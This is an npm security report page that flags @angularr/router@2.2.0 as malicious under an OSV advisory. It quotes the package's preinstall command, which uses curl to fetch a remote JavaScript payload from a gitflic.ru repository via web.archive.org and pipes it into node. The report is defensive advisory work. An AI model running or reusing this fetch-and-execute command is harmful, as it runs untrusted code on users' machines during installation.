Loading npm security reports…
OpenSSF/OSV advisory MAL-2026-17494 confirms this npm version as malicious. The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an unpinned, unverified JavaScript payload from a third-party repository (gitflic.ru user `hellscripter`, proxied via web.archive.org) and piping it directly into Node for execution during `npm install`...
This report applies to @angularr/router@2.2.0.
See version security history for other recorded verdicts.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.